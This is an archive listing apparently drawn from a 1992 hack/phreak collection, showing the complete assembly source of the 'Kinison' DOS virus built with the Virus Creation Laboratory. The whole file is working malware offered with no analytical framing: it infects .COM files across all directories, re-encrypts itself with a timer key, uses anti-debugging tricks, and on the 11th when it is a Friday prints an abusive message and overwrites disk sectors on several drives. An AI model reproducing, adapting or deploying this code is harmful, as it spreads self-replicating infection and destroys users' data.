home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / KINISON.ASM < prev    next >
Assembly Source File  |  1992-07-05  |  12KB  |  420 lines

  1. ; KINISON.ASM -- Sam Kinsion Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    0            ; Appending Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. main        proc    near
  14.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  15. start:        call    find_offset        ; Like a PUSH IP
  16. find_offset:    pop    bp            ; BP holds old IP
  17.         sub    bp,offset find_offset    ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt        ; Decrypt the virus
  20.  
  21. start_of_code    label    near
  22.  
  23.         lea    si,[bp + buffer]    ; SI points to original start
  24.         mov    di,0100h        ; Push 0100h on to stack for
  25.         push    di            ; return to main program
  26.         movsw                ; Copy the first two bytes
  27.         movsb                ; Copy the third byte
  28.  
  29.         mov    di,bp            ; DI points to start of virus
  30.  
  31.         mov    bp,sp            ; BP points to stack
  32.         sub    sp,128            ; Allocate 128 bytes on stack
  33.  
  34.         mov    ah,02Fh            ; DOS get DTA function
  35.         int    021h
  36.         push    bx            ; Save old DTA address on stack
  37.  
  38.         mov    ah,01Ah            ; DOS set DTA function
  39.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  40.         int    021h
  41.  
  42. stop_tracing:    mov    cx,09EBh
  43.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  44.         jmp    $-2
  45.         add    ah,03Bh            ; AH now equals 025h
  46.         jmp    $-10            ; Execute the HaLT
  47.         lea    bx,[di + null_vector]    ; BX points to new routine
  48.         push    cs            ; Transfer CS into ES
  49.         pop    es            ; using a PUSH/POP
  50.         int    021h
  51.         mov    al,1            ; Disable interrupt 1, too
  52.         int    021h
  53.         jmp    short skip_null        ; Hop over the loop
  54. null_vector:    jmp    $            ; An infinite loop
  55. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  56. lock_keys:    mov    al,128            ; Change here screws DEBUG
  57.         out    021h,al            ; If tracing then lock keyboard
  58.  
  59.         call    get_day
  60.         cmp    ax,000Bh        ; Did the function return 11?
  61.         jne    skip00            ; If not equal, skip effect
  62.         call    get_weekday
  63.         cmp    ax,0005h        ; Did the function return 5?
  64.         jne    skip00            ; If not equal, skip effect
  65.         jmp    short strt00        ; Success -- skip jump
  66. skip00:        jmp    end00            ; Skip the routine
  67. strt00:        lea    si,[di + data00]    ; SI points to data
  68.         mov    ah,0Eh            ; BIOS display char. function
  69. display_loop:   lodsb                ; Load the next char. into AL
  70.         or    al,al            ; Is the character a null?
  71.         je    disp_strnend        ; If it is, exit
  72.         int    010h            ; BIOS video interrupt
  73.         jmp    short display_loop    ; Do the next character
  74. disp_strnend:
  75.  
  76. end00:        xor    ah,ah            ; BIOS get time function
  77.         int    01Ah
  78.         xchg    dx,ax            ; AX holds clock ticks
  79.         mov    cx,0003h        ; We'll divide by 3
  80.         cwd                ; Sign-extend AX into DX:AX
  81.         div    cx            ; Divide AX by CX
  82.         or    dx,dx            ; Is there a remaindier?
  83.         jne    no_infection        ; If there is then don't spread
  84.         call    search_files        ; Find and infect a file
  85. no_infection:
  86.         call    get_day
  87.         cmp    ax,000Bh        ; Did the function return 11?
  88.         jne    skip01            ; If not equal, skip effect
  89.         call    get_weekday
  90.         cmp    ax,0005h        ; Did the function return 5?
  91.         jne    skip01            ; If not equal, skip effect
  92.         jmp    short strt01        ; Success -- skip jump
  93. skip01:        jmp    end01            ; Skip the routine
  94. strt01:        mov    ax,0004h        ; First argument is 4
  95.         mov    cx,0010h        ; Second argument is 16
  96.         cli                ; Disable interrupts (no Ctrl-C)
  97.         cwd                ; Clear DX (start with sector 0)
  98. trash_loop:    int    026h            ; DOS absolute write interrupt
  99.         dec    ax            ; Select the previous disk
  100.         cmp    ax,-1            ; Have we gone too far?
  101.         jne    trash_loop        ; If not, repeat with new drive
  102.         sti                ; Restore interrupts
  103.  
  104. end01:
  105. com_end:    pop    dx            ; DX holds original DTA address
  106.         mov    ah,01Ah            ; DOS set DTA function
  107.         int    021h
  108.  
  109.         mov    sp,bp            ; Deallocate local buffer
  110.  
  111.         xor    ax,ax            ;
  112.         mov    bx,ax            ;
  113.         mov    cx,ax            ;
  114.         mov    dx,ax            ; Empty out the registers
  115.         mov    si,ax            ;
  116.         mov    di,ax            ;
  117.         mov    bp,ax            ;
  118.  
  119.         ret                ; Return to original program
  120. main        endp
  121.  
  122.  
  123.         db    09Ch,054h,068h,09Eh,06Ch
  124.  
  125. search_files    proc    near
  126.         push    bp            ; Save BP
  127.         mov    bp,sp            ; BP points to local buffer
  128.         sub    sp,64            ; Allocate 64 bytes on stack
  129.  
  130.         mov    ah,047h            ; DOS get current dir function
  131.         xor    dl,dl            ; DL holds drive # (current)
  132.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  133.         int    021h
  134.  
  135.         mov    ah,03Bh            ; DOS change directory function
  136.         lea    dx,[di + root]        ; DX points to root directory
  137.         int    021h
  138.  
  139.         call    traverse        ; Start the traversal
  140.  
  141.         mov    ah,03Bh            ; DOS change directory function
  142.         lea    dx,[bp - 64]        ; DX points to old directory
  143.         int    021h
  144.  
  145.         mov    sp,bp            ; Restore old stack pointer
  146.         pop    bp            ; Restore BP
  147.         ret                ; Return to caller
  148.  
  149. root        db    "\",0            ; Root directory
  150. search_files    endp
  151.  
  152. traverse    proc    near
  153.         push    bp            ; Save BP
  154.  
  155.         mov    ah,02Fh            ; DOS get DTA function
  156.         int    021h
  157.         push    bx            ; Save old DTA address
  158.  
  159.         mov    bp,sp            ; BP points to local buffer
  160.         sub    sp,128            ; Allocate 128 bytes on stack
  161.  
  162.         mov    ah,01Ah            ; DOS set DTA function
  163.         lea    dx,[bp - 128]        ; DX points to buffer
  164.         int    021h
  165.  
  166.         mov    ah,04Eh            ; DOS find first function
  167.         mov    cx,00010000b        ; CX holds search attributes
  168.         lea    dx,[di + all_files]    ; DX points to "*.*"
  169.         int    021h
  170.         jc    leave_traverse        ; Leave if no files present
  171.  
  172. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  173.         jne    another_dir        ; If not, try again
  174.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  175.         je    another_dir        ;If so, keep going
  176.  
  177.         mov    ah,03Bh            ; DOS change directory function
  178.         lea    dx,[bp - 98]        ; DX points to new directory
  179.         int    021h
  180.  
  181.         call    traverse        ; Recursively call ourself
  182.  
  183.         pushf                ; Save the flags
  184.         mov    ah,03Bh            ; DOS change directory function
  185.         lea    dx,[di + up_dir]    ; DX points to parent directory
  186.         int    021h
  187.         popf                ; Restore the flags
  188.  
  189.         jnc    done_searching        ; If we infected then exit
  190.  
  191. another_dir:    mov    ah,04Fh            ; DOS find next function
  192.         int    021h
  193.         jnc    check_dir        ; If found check the file
  194.  
  195. leave_traverse:
  196.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  197.         call    find_files        ; Try to infect a file
  198. done_searching:    mov    sp,bp            ; Restore old stack frame
  199.         mov    ah,01Ah            ; DOS set DTA function
  200.         pop    dx            ; Retrieve old DTA address
  201.         int    021h
  202.  
  203.         pop    bp            ; Restore BP
  204.         ret                ; Return to caller
  205.  
  206. up_dir        db    "..",0            ; Parent directory name
  207. all_files    db    "*.*",0            ; Directories to search for
  208. com_mask    db    "*.COM",0        ; Mask for all .COM files
  209. traverse    endp
  210.  
  211.         db    083h,01Dh,064h,0E6h,08Ah
  212.  
  213.  
  214. find_files    proc    near
  215.         push    bp            ; Save BP
  216.  
  217.         mov    ah,02Fh            ; DOS get DTA function
  218.         int    021h
  219.         push    bx            ; Save old DTA address
  220.  
  221.         mov    bp,sp            ; BP points to local buffer
  222.         sub    sp,128            ; Allocate 128 bytes on stack
  223.  
  224.         push    dx            ; Save file mask
  225.         mov    ah,01Ah            ; DOS set DTA function
  226.         lea    dx,[bp - 128]        ; DX points to buffer
  227.         int    021h
  228.  
  229.         mov    ah,04Eh            ; DOS find first file function
  230.         mov    cx,00100111b        ; CX holds all file attributes
  231.         pop    dx            ; Restore file mask
  232. find_a_file:    int    021h
  233.         jc    done_finding        ; Exit if no files found
  234.         call    infect_file        ; Infect the file!
  235.         jnc    done_finding        ; Exit if no error
  236.         mov    ah,04Fh            ; DOS find next file function
  237.         jmp    short find_a_file    ; Try finding another file
  238.  
  239. done_finding:    mov    sp,bp            ; Restore old stack frame
  240.         mov    ah,01Ah            ; DOS set DTA function
  241.         pop    dx            ; Retrieve old DTA address
  242.         int    021h
  243.  
  244.         pop    bp            ; Restore BP
  245.         ret                ; Return to caller
  246. find_files    endp
  247.  
  248.         db    039h,01Ch,0DDh,0C2h,0DDh
  249.  
  250. infect_file    proc    near
  251.         mov    ah,02Fh            ; DOS get DTA address function
  252.         int    021h
  253.         mov    si,bx            ; SI points to the DTA
  254.  
  255.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  256.  
  257.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  258.         jbe    size_ok            ; If it's small enough continue
  259.         jmp    infection_done        ; Otherwise exit
  260.  
  261. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  262.         lea    dx,[si + 01Eh]        ; DX points to file name
  263.         int    021h
  264.         xchg    bx,ax            ; BX holds file handle
  265.  
  266.         mov    ah,03Fh            ; DOS read from file function
  267.         mov    cx,3            ; CX holds bytes to read (3)
  268.         lea    dx,[di + buffer]    ; DX points to buffer
  269.         int    021h
  270.  
  271.         mov    ax,04202h        ; DOS file seek function, EOF
  272.         cwd                ; Zero DX _ Zero bytes from end
  273.         mov    cx,dx            ; Zero CX /
  274.         int    021h
  275.  
  276.         xchg    dx,ax            ; Faster than a PUSH AX
  277.         mov    ah,03Eh            ; DOS close file function
  278.         int    021h
  279.         xchg    dx,ax            ; Faster than a POP AX
  280.  
  281.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  282.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  283.         je    infection_done        ; If equal then exit
  284.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  285.         add    ax,finish - start    ; Re-adjust to make the jump
  286.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  287.  
  288.         mov    ax,04301h        ; DOS set file attrib. function
  289.         xor    cx,cx            ; Clear all attributes
  290.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  291.         int    021h
  292.  
  293.         mov    ax,03D02h        ; DOS open file function, r/w
  294.         int    021h
  295.         xchg    bx,ax            ; BX holds file handle
  296.  
  297.         mov    ah,040h            ; DOS write to file function
  298.         mov    cx,3            ; CX holds bytes to write (3)
  299.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  300.         int    021h
  301.  
  302.         mov    ax,04202h        ; DOS file seek function, EOF
  303.         cwd                ; Zero DX _ Zero bytes from end
  304.         mov    cx,dx            ; Zero CX /
  305.         int    021h
  306.  
  307.         push    si            ; Save SI through call
  308.         call    encrypt_code        ; Write an encrypted copy
  309.         pop    si            ; Restore SI
  310.  
  311.         mov    ax,05701h        ; DOS set file time function
  312.         mov    cx,[si + 016h]        ; CX holds old file time
  313.         mov    dx,[si + 018h]        ; DX holds old file date
  314.         int    021h
  315.  
  316.         mov    ah,03Eh            ; DOS close file function
  317.         int    021h
  318.  
  319.         mov    ax,04301h        ; DOS set file attrib. function
  320.         xor    ch,ch            ; Clear CH for file attribute
  321.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  322.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  323.         int    021h
  324.  
  325. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  326.         ret                ; Return to caller
  327.  
  328. set_carry    db    ?            ; Set-carry-on-exit flag
  329. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  330. new_jump    db    0E9h,?,?        ; New jump to virus
  331. infect_file    endp
  332.  
  333.  
  334.         db    087h,04Ch,0B3h,047h,001h
  335.  
  336. get_day         proc    near
  337.         mov    ah,02Ah            ; DOS get date function
  338.         int    021h
  339.         mov    al,dl            ; Copy day into AL
  340.         cbw                ; Sign-extend AL into AX
  341.         ret                ; Return to caller
  342. get_day         endp
  343.  
  344.         db    0FFh,024h,0C3h,092h,07Fh
  345.  
  346. get_weekday     proc    near
  347.         mov    ah,02Ah            ; DOS get date function
  348.         int    021h
  349.         cbw                ; Sign-extend AL into AX
  350.         ret                ; Return to caller
  351. get_weekday     endp
  352.  
  353. data00        db      7,7,7,"DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
  354.  
  355. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  356.  
  357.  
  358. note        db    "This *VIRUS* is dedecated to t"
  359.         db    "he memory of Sam Kinsion, 1954"
  360.         db    "-1992",0
  361.         db    "[Kinison]",0
  362.         db    "Nowhere Man, [NuKE] '92",0
  363.  
  364. encrypt_code    proc    near
  365.         push    bp            ; Save BP
  366.         mov    bp,di            ; Use BP as pointer to code
  367.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  368.  
  369.         xor    ah,ah            ; BIOS get time function
  370.         int    01Ah
  371.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  372.  
  373.         xor    byte ptr [si + 1],8    ;
  374.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  375.         xor    word ptr [si + 11],0101h; (and vice-versa)
  376.  
  377.         lea    di,[bp + finish]    ; Copy routine into heap
  378.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  379.         push    si            ; Save SI for later
  380.         push    cx            ; Save CX for later
  381.     rep    movsb                ; Copy the bytes
  382.  
  383.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  384.         mov    cx,5            ; CX holds length of write
  385.     rep    movsb                ; Copy the bytes
  386.  
  387.         pop    cx            ; Restore CX
  388.         pop    si            ; Restore SI
  389.         inc    cx            ; Copy the RET also this time
  390.     rep    movsb                ; Copy the routine again
  391.  
  392.         mov    ah,040h            ; DOS write to file function
  393.         lea    dx,[bp + start]        ; DX points to virus
  394.  
  395.         lea    si,[bp + finish]    ; SI points to routine
  396.         call    si            ; Encrypt/write/decrypt
  397.  
  398.         mov    di,bp            ; DI points to virus again
  399.         pop    bp            ; Restore BP
  400.         ret                ; Return to caller
  401.  
  402. write_stuff:    mov    cx,finish - start    ; Length of code
  403.         int    021h
  404. encrypt_code    endp
  405.  
  406. end_of_code    label    near
  407.  
  408. encrypt_decrypt    proc    near
  409.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  410.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  411. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  412.         inc    si            ; Do the next word
  413.         inc    si            ;
  414.         loop    xor_loop        ; Loop until we're through
  415.         ret                ; Return to caller
  416. encrypt_decrypt    endp
  417. finish        label    near
  418.  
  419. code        ends
  420.         end    main